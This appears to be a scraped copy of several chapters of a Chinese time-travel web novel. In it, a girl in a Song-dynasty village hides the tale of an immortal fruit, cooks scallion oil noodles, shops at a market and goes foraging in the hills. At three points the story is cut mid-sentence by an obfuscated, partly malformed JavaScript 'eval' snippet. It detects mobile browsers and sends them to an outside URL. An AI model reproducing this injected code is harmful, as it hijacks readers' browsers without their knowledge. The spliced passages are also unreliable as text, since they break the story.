陈青青示意田娘子把赏钱拿了出来,大约有五两银子。 官家派来的,听说还是府尹来着,怎么只赏了这么点?众人看了又是羡慕又有放下了心,原来只有五两银子。 陈青青看了众人的表情,便知道自己这样做对了。五两银子,说不上多也不算少,也引不来惦记,很好。 这位府尹做事还是有点靠谱的。 众人看了银子,又想起仙果的事来。比起区区几两银子,还是遇神仙的事更牵动人心。 “青青真是吃了仙果好的?” “仙子都说了,把圣女果送给姓陈的了,不是他家又是哪个?” 听着众人这样问,田娘子张口道:“青青是吃了那山里的仙……” 陈青青猛一拽阿娘的袖子,朝众人笑道:“谁能那么有福气得到那仙果?我是吃了爹爹采来的山参好起来的。” “可怜我爹爹,他竟为了这个走了……” 陈青青提起陈大郎,田娘子一脸的悲色,众人一时讪讪的,都住了口。 “要我说呀,神仙哪有那么容易遇到,天下姓陈的多了去了。”钱嬷嬷正站在田娘子身旁,朝旁边挥了挥手,“都别围着了,回去了,回去了。” 众人慢慢散开了,钱嬷嬷随着陈青青两个往回走。 “田娘子,青娘真是吃山参好的?” “嬷嬷,你也这么问呀?”陈青青不由失笑。 “嘿嘿,我就问问……”钱嬷嬷也有些不好意思起来。 “是吃山参好的。”田娘子道,既然闺女说是吃山参好的,就是吃那个好的。 “哦,哦。”钱嬷嬷知道了自己想要的内幕,满意地离开了。 8. 葱油拌面 娘两个回到了家里,田娘子把银子赶紧收好。 五两银子,其实在农家算是不少钱了。 陈青青记得自己看过的资料,宋朝的时候,一两银子大约是一千文,也就是一贯钱,一千文钱,应该能买不少东西。 “阿娘,我刚才专门叫大家看看咱们得了多少赏钱,省得有心人惦记。”陈青青朝田娘子解释,“还有果子的事,我也是故意说吃山参才好了的,就怕别人乱说一气。” “咱们倒不好和神仙扯上什么的……”陈青青半是解释着是吓唬,“要有真有什么人给咱们要仙果,咱去哪里找去!” 匹夫无罪,怀璧其罪。 陈青青是真怕有人心人惦记,如今这情形,倒不如就大大方方把得的赏钱说了。 田娘子愣一下才道:“还是闺女想得周到。” “以后阿娘也不提仙果的事了。”闺女说得也对,都是凡人可不兴和神仙扯上关系。 那几个仙果就搭上了官人的命…… 田娘子这些天悲伤过度,现在才缓过些神来。想想官人不免心里难过,再看看闺女这样聪明,想得也周全,又打心眼里高兴。 “阿娘,现在咱家也有点钱了,我想……我想到集市上买些东西……”陈青青期期艾艾地提出了要求。 天知道这么些天她是怎么过的! 洗澡就不用说了,连换洗的衣裳都没有! 原来这家姑娘的外衣裳倒还能穿,可贴身的衣物陈青青实在过不了自己心里那一关。 澡是不敢洗的,天还是太凉了,就怕受了凉生个病什么的可就真糟了。 好在后院里还有个水井,陈青青勉强学会了打水,洗脸的时候兑点热水擦洗一番。贴身的衣裳只能赶紧洗了再晒干换上。 妈呀,陈青青觉得自己这七天过得像个野人一般。 古代生活真的好苦! 不过,有钱人应该过得好许多。还是缺钱呀! 想法子挣钱! 陈青青内心掀起了想挣钱的风暴。 “也好,明日正是集市,想要什么,到时候阿娘带你去买。” “青青。”田娘子看看闺女的样子,知道她这些天也没过舒坦,不禁心疼起来。 “今儿天气好,娘烧好热水你洗洗。” “好!”正中陈青青下怀。想的就是这个呢,陈青青高兴地应了。 田娘子烧好了热水,涮好了洗浴用的木桶,又找来了一身新的衣裳。 “这是我前阵子做好的,都洗晒过了,你试试看合不合身。” 哇,终于有换洗的衣裳了!陈青青一时有回到小时候被妈妈无限呵护的感觉。 接了衣裳翻看一下,不但有外衣,还有抹胸和短裤。 陈青青知道这就是古代所谓的亵衣了。 抹胸是宋朝才有的,合裆的短裤叫做裈,根据以前看过的资料,陈青青更确认了这里是宋朝,就是不知道是北宋还是南宋。 陈青青也朝田娘子打听过一二,只可惜她也说不清楚,看来只有慢慢来,或许去集市上能听到些许消息。 痛痛快快洗过澡,换上干净的衣裳,陈青青感觉自己又活过来了一般。 舒坦! 用布帕子拭干头发上的水,陈青青又有些庆幸,好在自己是长发,要是短发一穿到这里就露馅了。 见闺女洗完澡换好衣裳,好一个水灵灵的小娘子,再也不是那以前那傻乎乎的样子,田娘子又默声念了几句佛,几句神仙保估。 看闺女洗好了,田娘子也给自己烧好水洗了。 陈青青便趁着空儿溜达到后院,边晒头发边琢磨自己留的种子该怎么种。 这几日天气晴明,风也带了些暖意。 后院的樱桃和玉兰花都开了,杏花也马上绽放。 一树树的花开,叫人心里看得高兴。 一年之计在于春,是得好好计划一下,先种什么再种什么,挣钱翻身过上好日子可全指着这些种子了。 微风送来花儿的香气,陈青青一时有些陶醉,仿佛数钱的日子就在眼前。 “青青……”田娘子的喊声打破了陈青青的美好幻想。 陈青青忙应一声,回到前院。 “阿娘,我在后面看花呢。”陈青青对田娘子笑。 “我们青青呀从小就喜欢花。”田娘子也笑了。 眼看着是做暮食的时辰了,娘两个商量吃晚上吃什么。 “今儿晚食还吃汤饼?”田娘子可记得上回做汤饼时,闺女吃得那叫一个欢。 “好哎,好哎!”陈青青连连点头,反正只要不喝粥就成,特别是钱嬷嬷做的那种粥,真是喝得够够的了。 “阿娘,您擀面,我来煮汤饼。”陈青青立马就想起了馋坏自己的葱油面来,今晚就吃它了! “我闺女都会煮汤饼了?”田娘子又是怀疑又是感叹。 多好的闺女,生生叫病耽搁了好几年,这下终于好了。 真是神仙保佑!田娘子心里默念感谢神仙。 看看面缸,虽然家里的白面已只够这一顿饭了,田娘子倒也没犹豫,大不了明儿再买些回来。以后自己再想法子挣钱就是,怎么也不能亏待了闺女。 把最后的面倒了出来,田娘子开始和面。 陈青青却是早就看好了,后院菜地里种了一小片葱,这会儿刚发出绿叶,正是又嫩味道又足的时候,最适合炸葱油。 陈青青到后院拔了葱,又看旁边的菜畦里有菠菜,深绿的叶子肥厚,正好!便一并拔了许多。 陈青青收拾好菜,田娘子和好的面也醒好了。 和面的时候,陈青青就提醒了面里要放些盐,这样和的面吃起来更劲道。田娘子只管照做,反正如今在她的心里,闺女最好最重要,就按她说的来。 这是把陈青青当主心骨了。 田娘子开始擀面做面条,陈青青则准备炸葱油。 以前做过,如今再做起来也不发憷。 陈青青先刷好锅,把锅里水烧干了,再在锅里放油,烧至八成热,把切好的葱段放入锅中,小火煸炒。这个时候的火候最为重要,火太大会把葱油炸成苦味,火太小了又激发不出葱的香气。 陈青青站在灶前,突然有一种运筹帷幄的感觉。 就很玄妙,仿佛菜做成什么样手上有了掌控一样。 其实她以前只是理论功夫强,实践倒少些,如今竟感觉自己像个大厨一般,各种菜式轻松拿捏。 难道竟是穿越后食神附身不成! 陈青青嘿嘿傻乐了半天。 等锅里的葱段熬到金黄色,陈青青索性又倒上了酱油。 当然如今酱油叫做酱清。田娘子怕闺女不知道,把厨房里的东西都和闺女说了一遍。酱清,倒是个很宋朝的称呼了。 陈青青又在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178937|180861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 锅里加了两片生姜,几粒花椒。 家里能找到的调料都放一些就是,反正这样好吃,陈青青就是有这个把握。 葱油炸好出锅,香气四溢,引得正擀面的田娘子侧目,不禁问:“青青做的什么好东西,这么香!” “是葱油。”陈青青把葱油倒进碗里,指着熬好的葱油朝田娘子介绍,“用这个拌面吃。” 熬好葱油,陈青青又起锅煮汤。 有了葱油做料,煮面条只用清水便可。当然若是有熬制好的高汤,才是最有滋味。只是如今家里什么也没有,便清水煮面吧,有葱油调味也足够了。 趁着等水烧开的时间,陈青青把洗好的菠菜切成段,用热水焯过,沥好水装到盘中。陈青青又拍了蒜泥放在盘里,然后放盐,再淋上酱清和醋,便是春日里好吃的拌菠菜了。 田娘子擀好面条,锅里的汤也开了,陈青青便放入面条煮熟。 把面条捞出放入碗中,倒入葱油那么一拌,香喷喷的葱油面便好了。 “阿娘,快来吃饭了。” 陈青青把饭菜放在饭桌上,招呼田娘子吃饭。 田娘子答应着,忍不住拭了拭眼角,从未想过自己还能有一天吃上闺女做的饭。 “闺女怎么这么厉害了,又会做饭又会做菜了。”田娘子感慨一句。 倒叫陈青青心下一惊,糟糕,是不是露馅了。 “我就是突然感觉这里一下开窍了一样。”陈青青指指头,又指指胸口,也不知道是说脑子还是说心里开窍了才好。 “阿娘知道,阿娘知道,是神仙保佑的,吃了仙果,青青就好了。”不等陈青青再说什么,田娘子自己就找好了理由。 陈青青松一口气。 不管怎样,阿娘相信就成。 很快,田娘子便被桌上饭菜香气吸引了,收起了感慨的情绪。 只见碗里拌好的面被葱油染上了琥珀色,带着葱的鲜香气,竟叫人忍不住直咽口水。 “青青,咱们快吃吧。”田娘子招呼着闺女,两人坐到了桌前。 端起面,吃一口,是想不到的美味。面劲道而香味浓郁,鲜咸适中,配上碧绿的菠菜,那滋味叫人停来下来。 田娘子一口接一口吃着,原来和面时加盐确实能叫面劲道,闺女炸的葱油竟这么提味! 陈青青却觉得面的味道还是少了些。若是高汤煮面,若是再有些辣椒或是花生碎,配着最是甜美丰厚的菠菜才是春日至味。 想到自己藏起来的那些东西,辣椒和花生倒是有,陈青青却是半点不敢露出来,好歹要想个法子把这些东西过了明路才行。 吃过饭,田娘子倒有些不好意思,今儿的汤饼好吃,菠菜也好吃,竟有些吃撑着的感觉。 也不让陈青青帮忙,田娘子自己收拾好了灶房。 夕阳西下,娘两个在院子里随意走动了一会消消食。 暮色霭霭,院外河畔的杨柳依依,有几树早开的花盛放在春光里,归鸟叽叽喳喳地飞过。 陈青青突然有一种岁月静好的感觉,不觉得心也安了下来,享受这难得的美好。 晚上,娘两个早早收拾好便睡了,明儿还要去集市呢。 陈青青对去集市很感兴趣,一来想了解这里到底是什么朝代,二来也想去看看,有什么门路挣钱才是。 夜色深深,四下静寂,陈青青带着挣钱的想法沉沉睡去。 9. 赶大集 第二天,娘两个起了个大早。 朝食吃的是小米粥,田娘子早早便熬好了。 放在以前,陈青青是不爱喝小米粥的,特别是穿过来又喝了这几天钱嬷嬷的粥。 可今天她喝着这粥极香,稠而不腻香甜可口。 真是环境造就人呀,陈青青暗暗自嘲着。 娘两个收拾妥当,田娘子带好钱,背上了放东西的背筐,两人朝集市赶去。 陈青青还想自己背着背筐,田娘子哪舍得叫闺女干活。 “你小孩子家家的,哪背过这个。阿娘来就好。” 好吧,在阿娘眼里多大都是小孩子。陈青青笑一下,跟着阿娘出了门。 青云镇虽然叫做镇,其实就是个不算太大的村子,集市在东南边一个叫做刘家庄的村子。每逢五日便是一集,今儿正好是赶集的日子。 从青云镇到刘家庄差不多有五六里路,娘两个便走着前去。 在这古代也没有什么交通工具,只有走路了。当然村里也有人家里有牛车驴车,但只有去城里的时候才有人花钱坐。这么几里路,用脚走便足够了。 亏得自己以前常锻炼,走路也不怕,要不在这交通靠走的古代还真是吃不消。 陈青青边赶路边暗叹。 今天去赶大集的人不少,路上三三两两的人都是奔着刘家庄集市去的。 陈青青以前也赶过大集,妈妈的菜园那边就有大集,陈青青自己去逛过。 吃的喝的用的,商品琳琅满目,吆喝买卖的声音此起彼伏,喧嚣而又热闹。人间烟火,生动鲜活。 五六里地,娘两个相伴走起来倒也挺快,远远地便看到人群拥挤,是集市到了。 再走近些,声音便传了过来,各种叫卖声混在一起,热闹而又混杂。 “今儿集上人真多!”田娘子感叹一句。 陈青青倒不知道人是多还是少,反正比她以前逛过的大集差了许多。当然那是现代,是古代无法比拟的。 “今天人多!”旁边的一个老汉也这样感叹。 “老哥哥,你还不知道吧,今儿集市上有许多外来的人呢!”老汉身旁的一个中年汉子回道。 “怎么说?”那老汉又问。 这下不光是陈青青她们两个好奇了,一旁的人也做出聆听状,倒更激发了那中年汉子述说的热情。 “老哥没听说吗,西北边的青云镇出了奇事!”中年汉子反问。 “什么奇事?”一旁的人也忍不住问。 那汉子看了看旁边都是等着自己说话的人,不禁稍有些得意,“那青云镇有块牛蹄石,这个都知道吧。” 众人都点头,这个巨石十里八村的倒都知道。 “你呀就别卖关子了,快说快说。”先前那老汉催促着。 “说是有一天,突然晴空响了阵雷声,那牛蹄石的石壁上突然出了神幕,有个仙子在讲什么美食直播……”中年汉子嘿嘿笑一声,娓娓道来。 “要说那神仙的东西就是不凡,都是咱们见都没见过的。”中年汉子边说边感慨,“听说了没,皇城里的官家都惊动了呢,派了人来看过。” “京兆府里的官爷都说是祥瑞呢……” “官家都知道了?”旁边的人也感叹,“你们也去看过了?” “我也是才知道,没赶上……”中年汉子有些懊恼,“不过听说隔七日便会有一回,下回我定要守着时候去看看,那可是神仙呀,咱们不得去拜拜。” “是得去拜拜!” “是哪天有神幕,我也得去拜神仙去!” 众人听了都纷纷说了起来。 “怪道今天这集市上多了这么多人!”老汉不禁叹道,“原来都是冲着神仙来的。” 中年汉子点头,这不好多外地的也来了呢,都想沾神仙的光。 原来是这事。田娘子扯了扯陈青青的袖子,俩人便又朝前走去。 官家就是对皇帝的称呼,这也是宋朝特有的称呼,陈青青觉得自己又捕捉到了一点信息。 “怪不得今天人这么多。”田娘子朝闺女道,“你跟紧些,别走丢了。” 陈青青不由失笑,当自己是三岁小孩呢,还走丢。不过也知道这是当娘的人正常的担心,便笑着应了。 陈青青跟着田娘子不紧不慢地逛着集市。 虽说古代比不上现代集市的繁华,却也物品齐全,各色商品琳琅满目。 有专门的买卖人,也有自己家里出产的东西拿出来卖的,街道两旁满满当当的全是摊子。 有搭起凉棚的,也有撑起大伞的,有支起的摊子,也有直接摆在地上的,甚是热闹。 按陈青青的要求,娘两个先去买些日常用品。看到想要的牙刷,牙粉,肥皂这些竟然都有卖的,陈青青不由松了口气。 真不敢想象,要是维持日常卫生的东西都没有,这日子还怎么过下去。 陈青青仔细看了,这里的牙刷已经和现代的样式很相像了,肥皂是用皂荚制成的,叫做肥皂团,虽不如后世的香皂好用,但也不错了。 陈青青指着几样东西和田娘子说了,想买。 田娘子倒是没犹豫,慷慨解囊。家里这些东西确实也没了,应该买了。 陈青青买到这几样东西后心情大好,田娘子见闺女高兴自是心情愉快,又带着陈青青逛布摊,要买布再给陈青青做身衣裳。 田娘子在布摊上眼睛不眨地买下了价贵的细棉布。女孩子家身子娇嫩,贴身的衣物用细棉布才是最好。 田娘子给闺女花钱面不改色,倒是陈青青听到摊主说了棉布的价格吸了口凉气,还是自己钱太少了呀,一定要想法子挣钱才是。 两人再朝前走,竟然还有一处书摊在。 陈青青大惊,这样的乡村里竟还有摆书摊的地方?不是说古代书与纸墨都贵得厉害,寻常人家根本买不起吗?怎么还有人来这里摆书摊,能有生意不成。 陈青青看看田娘子,见她摇摇头,便知道这书摊是以前没有的,便好奇想上前看看。 田娘子是一介农妇,也不识字,对书籍有一种天然的敬畏,犹豫着不敢上前。 陈青青却是不管那些,走到了书摊前。 书摊打理得很整齐,书本放在架高的木板上,书下面铺了麻布,很有后世集市上书摊的感觉了。 陈青青上前仔细看,摊主是个年轻的小伙子,看了陈青青一眼也不上前招呼,应该看出来陈青青不是买书的主顾。 当然,陈青青也不是要买书,她只想借着书上的信息,看看能不能知道现在到底是什么朝代。 书封面上的字是印刷版,字体是宋体!当然,这时候还不叫宋体,叫做“版书”,算是宋体的前身吧。 陈青青看到这些,眼睛都亮了许多,这应该就是宋朝无疑了。 书封面上的字是繁体字,陈青青倒也能辨认出些来。 从书的名字倒是能看出来,摆在上面的都是一些故意吸引人眼神的话本子,相当于现代的地摊文学了。 陈青青要伸手拿书,摊主看她荆钗布裙,忙轻咳一声,“书本珍贵,不买勿动。” 陈青青讪笑一下缩回了手,怎么有种去奢侈品店被柜姐白眼的感觉。 陈青青也不恼,印刷宋体的信息已经得到了,不错! 再看书摊一边倒围了几个人,一个书生模样的人正把手中写好的信念给人听。 原来是帮人写信的。乡里人多不识字,若是需要写信都要找识字的人代写。 又听了一会,原来这书生和书摊是一起的,都是汴州城里一家书肆里的,因为赶看神仙的热闹,这才来这里出了个书摊。 好嘛,什么人都来赶这个热闹! 陈青青一时也不知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178938|180861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 该喜该忧。 田娘子又带陈青青去了粮食市。因为怕买晚了没有卖的了,又想着买了粮食背着太沉了,耽误闺女逛集市。田娘子想了半天,还是决定先买了再说,总不能再饿着闺女。 陈青青也不知道这粮价是贵还是贱,白米一百文钱一斗,麦便宜不少一斗四十文钱,而面就贵了许多,一斤面就要三十文钱。 虽说人力不算太值钱,可在没有机械的古代,磨面粉还是很费工的,所以价高。 就买了些米面,还有小米,田娘子身上带的钱就下去大半了。 又惹得陈青青一阵暗叹,挣钱的事要抓紧了。 眼着着快近晌午了,田娘子的意思要在集上吃了东西再回去。陈青青想了想,还是省点钱吧,便在卖胡饼的摊上买了些胡饼,回去再做个汤菜什么的不是更好。 这里的胡饼类似现代的烧饼,贴在落地的大圆炉壁上烤熟,上面还撒了芝麻,闻起来就香。 娘两个又朝回走。 田娘子倒把大半的东西背在了自己身上,陈青青争半天没的争过,便随她去了。好在今天也没买太多的东西,要不再走这么些路真是受不了。 陈青青一面走着,一面回想今天集市见闻。 看来这里民风不错,没被那封建的风气渗透,女子也能抛头露面做生意,集市上有不少女子摆摊卖东西。 集市上的吃食品种也不少,什么馄饨、包子、馒头、胡饼、面条都有。当然包子如今不叫包子,叫馒头,馒头倒叫做蒸饼,面条叫汤饼,倒是符合宋朝的称呼。 竟然还有卖豆腐的,卖豆腐的那位娘子长相秀美,能称得上“豆腐西施”。 陈青青看过集市,是没有土豆、玉米和辣椒出现,那么自己手中的这些种子确实就是“制胜密码”了。不过要把它们种出来再收获了,时间周期有点长,自己还是等不了那么久,得想个能卖的品种才行。 再有那些种子也急需一个妥切的法子过明路,现在已是春天,正是播种的好时候。 陈青青一路思量着,不觉得竟已到了家。 因为在集市上买了胡饼,今天中午的饭便做个汤菜就好了。 田娘子翻了翻,有些懊悔,在集市上忘了买鸡子了,家里只剩四个了。 “等会儿我出去找人淘换些鸡子来。”田娘子朝陈青青道。村里人都养着鸡,淘些鸡子来还是容易的。 陈青青知道阿娘说的鸡子就是鸡蛋。 对,鸡蛋! 陈青青突然灵光一闪,我可以卖茶叶蛋不是!茶叶蛋制作简单,原料也好找。陈青青想想还真不错。 总算有一种能卖的东西了,陈青青松了口气。 田娘子要做的汤菜是菠菜鸡蛋汤。不,用这里的话该叫做菠菜鸡子汤。陈青青暗暗提醒自己一定要入乡随俗,别说错了露出马脚来。 陈青青记得看过科普,菠菜中含有丰富的草酸,会影响人体对钙的吸收,用热水焯一下不但能去除大部分草酸,还能提高菠菜的口感,更利于健康。 陈青青便把菠菜吃前要焯水的知识说给了田娘子听,田娘子自是点头称记住了。 反正如今陈青青说什么,她都会觉得对。 田娘子烧火,陈青青掌勺。 锅烧干放油,油热了放入切好的葱花,再放入清水烧开,拿两个鸡子打散成蛋液,倒入锅中成蛋花,再放入焯好水的菠菜段,点入少许酱油和盐调味,等汤开锅便可盛出,一道菠菜鸡子汤便做好了。 陈青青做得是手到擒来。 “酱清也不多了呢,下回得买些了。”田娘子道。 所谓酱清便是酱油,陈青青点头记下了。 想想下回再去集市,要买的东西得有许多,自己想出摊做买卖挣钱呢,这投入的本钱是必要的。 只是那些种子要如何过明路呢,这倒难住了陈青青。 10. 上春山 陈青青盛两碗菠菜汤放在饭桌上,田娘子又去腌咸菜的缸里捞出一块腌萝卜,切成细丝放在小碟子里。 喝汤吃胡饼就着咸菜丝,陈青青咽了下口水,觉出自己是真饿了。 咬一口胡饼酥脆,饼上的芝麻粒更是满口生香。 再看菠菜汤,汤色清澈,菠菜青绿,蛋花飘浮。喝一口咸淡适中,味道鲜美。 再挑一根咸菜丝入口,更增加了饼和汤的味道,叫人忍不住喟叹。 陈青青一口接一口吃着,想着咸菜丝里再加些辣椒,岂不是更美哉! 得赶紧想法子! 许是赶路饿了,又许是陈青青做的汤实在好吃,娘两个竟把简单的饼和汤就咸菜吃出了大餐的感觉。 两人正吃得得劲,听到外面有人喊,“田娘子,田娘子!” 陈青青听出来了,是钱嬷嬷。 两人忙放下手中的饭,起身招呼钱嬷嬷。 “钱嫂子快进来。”田娘子笑道。 “嬷嬷好。”陈青青也跟着喊人。 “哟,你们娘俩吃什么好吃的呢,这么香!”钱嬷嬷进了屋,瞅一眼饭桌,不过是平常的胡饼和汤,怎么闻着这么香呢。 “嫂子吃了没?过来一起吃。”田娘子招呼道。 “我吃过了。你们快吃。”钱嬷嬷干笑着。 也是自己心急了一点,人家还没吃完饭呢,自己就来了。 好在娘两个也吃到最后了,三口两口解决完了剩下的饭,田娘子陪嬷嬷说话,陈青青便收拾桌子。 “你放在那里等会儿我来。”田娘子却怕累到闺女,只道。 钱嬷嬷微微摇一下头,“你叫青娘做就是,这么大的闺女了,得叫她干活。” 钱嬷嬷向来觉得陈家有些惯着闺女,这回更是直说了。 “她这不是刚好嘛,我怕累着她……”田娘子讪讪道。 “哎哟!”钱嬷嬷一拍腿,“你说我这记性,我来就是要说这事呢,差点忘了。” “青娘病好了的事,你可得好生注意才是。” 听钱嬷嬷说到自己的事,陈青青也在一旁仔细听着。 田娘子更是有些慌神,紧张道:“怎么说?” “隔街上的张小娘子你知道吧,听说突然被魇着了,找后街的陈婆子看了,你道是怎么着了?”钱嬷嬷压低了声音,朝田娘子说道。 “怎么了?”田娘子确实是个好听众,忙发问。 “说是冲撞了石头那里的仙子。”钱嬷嬷啧啧两声,“陈婆子给叫了魂,算是好起来了。谁知道今儿早上又不行了,陈婆子给算了,得拜仙子才行。” “这不刚去牛蹄石那里拜过,人立马就好了。” 钱嬷嬷说得一波三折,倒也热闹。 陈青青却是暗笑,什么冲撞了仙子,那不就是我嘛。还拜拜就好了,也太神了。看来那后街的陈婆子就是传说中的巫婆了,倒是怪神奇的,赶明儿见识见识开开眼界。 陈青青这边正想得起劲,田娘子早已变了脸色。 “要去拜拜才好?”田娘子问。心道闺女正是托了仙子的福才好起来的,可得赶紧去拜才行,可不敢想象闺女再病起来的样子。 “可不!青青不是吃那仙果好的嘛,可不得拜!”钱嬷嬷始终相信陈青青是吃仙果好的,吃山参什么的那有那么好好使。 “是吃……”田娘子就要附和。 “是吃山参好的啦,嬷嬷。”陈青青忙打断田娘子的话,一时又计上心来, “阿娘,那咱们是不是该去山里拜一拜?” 田娘子迟疑一下,便也道:“是该去山里拜一拜。” “就是嘛,拜了也好心安。”钱嬷嬷拍一拍田娘子的胳膊,“我就是听到这事儿立马就过来和你们说了。” “说起来也不是小事,你可别耽搁了。”钱嬷嬷说完了正事,便又一阵风一样走了。 “青青,咱们等会就去牛蹄石那里拜仙子去。”见钱嬷嬷一走,田娘子就赶紧和陈青青说道。 “行行,咱们一会儿就去。”陈青青看她确实着急,忙应下了。 “不过,阿娘,咱们不一直说是吃山参好的嘛,再说了果子也是在山里得的,山里还是要走一趟。”陈青青想到去山里这事好,把种子带上,找个机会趁阿娘不注意,就说在山里找到的。 要是能找个理由我自己上山是更好不过了。 “阿娘,要不明天再去拜吧,听说早上拜神比较好。”陈青青为了和阿娘分开,胡乱编个理由,“到时您去石头那里,我去山里。” “你想什么呢?”田娘子忍不住白她一眼,“明儿去也成。娘得和你一起进山,你以为那山是那么好进的!” 好吧。 陈青青看这理由不成,也只得明天再见机行事了。 第二天大早,田娘子便收拾好了背篓,带上了上山干粮还有拜神用的纸和香。 不是,还真拜呀!看着阿娘放纸和香,陈青青只得问:“山里让烧吗?” “怎么不让烧,咱们小心点,引不起火来。”田娘子不解道。 好吧,不能强求她知道森林防火的重要性。陈青青以前去山里玩过,那是根本不能生一点火的。 别说生火,连打火机、火柴啥的也不会叫你带进山去。 陈青青也找个背篓,悄悄把半包花生、辣椒并几个土豆、一个玉米棒子藏了进去。反正只要过了明路就不用管数量了。 许是田娘子太心急,刚走到牛蹄石那里竟不小心崴了脚。 “阿娘,您试着活动活动一下。”陈青青忙道。 田娘子慢慢动一下脚,倒也能活动。没伤到骨头就好!陈青青松一口气。 可到底不能再去山里了,田娘子有些懊恼。强撑着在石头那里拜了拜,陈青青把她扶回了家。 “阿娘,您就好好在家歇着吧,我自己去拜也行。”虽然也心疼阿娘受苦了,但陈青青还是挺想抓住这机会。多难得呀,自己上山好行事。 “不行。”田娘子不答应,她哪里放心闺女自己一个人进山。 “我只在山脚下看看,拜了就回。” 娘俩正拉扯着,听到外面有人喊:“伯娘在吗?青青姐姐?” 陈青青叫阿娘坐好,自己出门去看。 原来也是认识的人,是那位和阿娘他们一起去山里的刘大郎还有他闺女,叫做刘巧铃。 “刘大叔。”陈青青也不知道说什么,只叫了一声。 刘大郎是个憨厚的人,朝陈青青笑一下,“我来是想说一声……本来我是要进山砍柴的,正好听说你们也要去山里,嫂子的脚又崴了,要不你和叔一起去,还有铃儿也去。” 田娘子勉强出了屋门,扶着墙站在那里,“原来是她大叔来了。” “嫂子,以后你们家的柴就包在我身上了。”刘大郎搓搓手道,“今天我要上山,听说青青也要上山,正好和铃儿做个伴。” “嫂子看可以不?”刘大郎不是个善言的人,说了这些话便巴巴地看着田娘子母女俩。 “阿娘,正好趁今天。我和巧铃一起,还有刘大叔在呢,不怕的。”陈青青怕阿娘不同意,赶紧添上一句。等到了山上,刘大郎要砍柴,只有刘巧铃这个小孩子,还是可以糊弄过去的,到时就可以把种子过个明路了。 田娘子点头同意了。 陈青青笑了,把田娘子扶回屋里,又叫她不要乱动,有什么活 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178939|180861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等自己回来再干,这才和刘大郎父女一起出了门。 山离青云镇不算近,要走六七里路。好在陈青青有了赶集的经验,再说还有刘巧铃这个小孩子比着呢,总不能不如个小孩吧。 刘大郎照顾她们俩,在前面走得也不快。两个小姑娘在后面边说话边走,倒不觉得累。 “青青姐姐以前上过山吗?”刘巧铃问,问完了又觉得自己问得不对,青青姐一直生病呢,哪能上过山,懊悔地捂了捂嘴。 “我没去过呢。巧铃去过?”陈青青看她那样子,不由失笑。 “爹爹说山里有好东西,以前阿娘在的时候我来过。”提起阿娘小姑娘倒有些黯然。 “那山里有什么好东西?”陈青青忙岔开话题。 “有好多能吃的野菜,还有山果呢,不过要等到秋天才能有山果。”小姑娘倒也知道不少。 走了老半天,终于到了山下。陈青青抬眼四望,前面的山不算太高,但也林深茂密,甚是秀美。 再后面就是群山起伏,就是镇上人所谓的仙人山了。 这片山是青云镇所有,村里人缺柴了便可以来砍柴烧。不过村里人都很爱护这山,倒也没有胡乱砍伐的。 还是有片山好,听阿娘说,城里都要买炭买柴来烧,就算有山林也是私人所有,不能去砍柴。 真是城里好,居不易呀! 陈大郎再三叮嘱两个小姑娘最多上到山半腰,不能乱走,他就在山上,有事要喊他,这才去砍柴了。 陈青青自是满口答应着,就盼着他快离开了。 陈青青先选了个空地敬了香拜了山,在科学世界里长大的孩子穿越一回也有些相信神奇力量了。 若真是上天有灵,请保佑我挣大钱吧! “青青姐姐,这边有荠菜。”刘巧铃看陈青青拜完了忙招呼道。 “好!”荠菜好呀,这会儿正是吃荠菜的好时候。 不但有荠菜,还有地丁菜。陈青青在网上看过,说地丁菜也是非常的美味,连忙把这两种菜都挖了。 “青青姐姐,现在天还不热,等到以后野菜可多了呢。”刘巧铃边挖野菜边说,“雨天的时候有蘑菇,地皮,要是果子熟了的时候就更好了,好多好吃的果子呢。” 好吧,大妹子,你成功馋到我了。 陈青青抬头看看山林深处,等以后我也来采蘑菇摘山果! 两个人越挖越起劲,又看到有白蒿,也就是茵陈,陈青青也一并挖了许多。茵陈据说有保肝利胆的作用,可以和红枣一起煎茶喝,明儿要试试看。 转眼到了中午,该吃饭了。 陈大郎早就和两人约好了下山会合的地方,又叫两人不用管他。 两个人便各自拿出了自己带的干粮,打算吃起来。 刘巧铃带的是一个粗粮饼子,看着就不太好吃。陈青青带了两个胡饼,还有咸菜丝,临走的时候田娘子又给她硬塞了两个煮鸡子。 陈青青有点看不过小姑娘带的饭,便把胡饼咸菜和鸡子都分了一半给她。刘巧铃推脱着不要,这都要用钱买来的好东西,不能要。 陈青青一看小姑娘的意思就明白了,便笑道:“以后还要你带着我来采蘑菇和野果呢,别跟我客气。” 小姑娘腼腆地笑了,陈青青拍拍她胳膊,“等以后姐带你吃好吃的!告诉你,姐做菜可好吃了!” 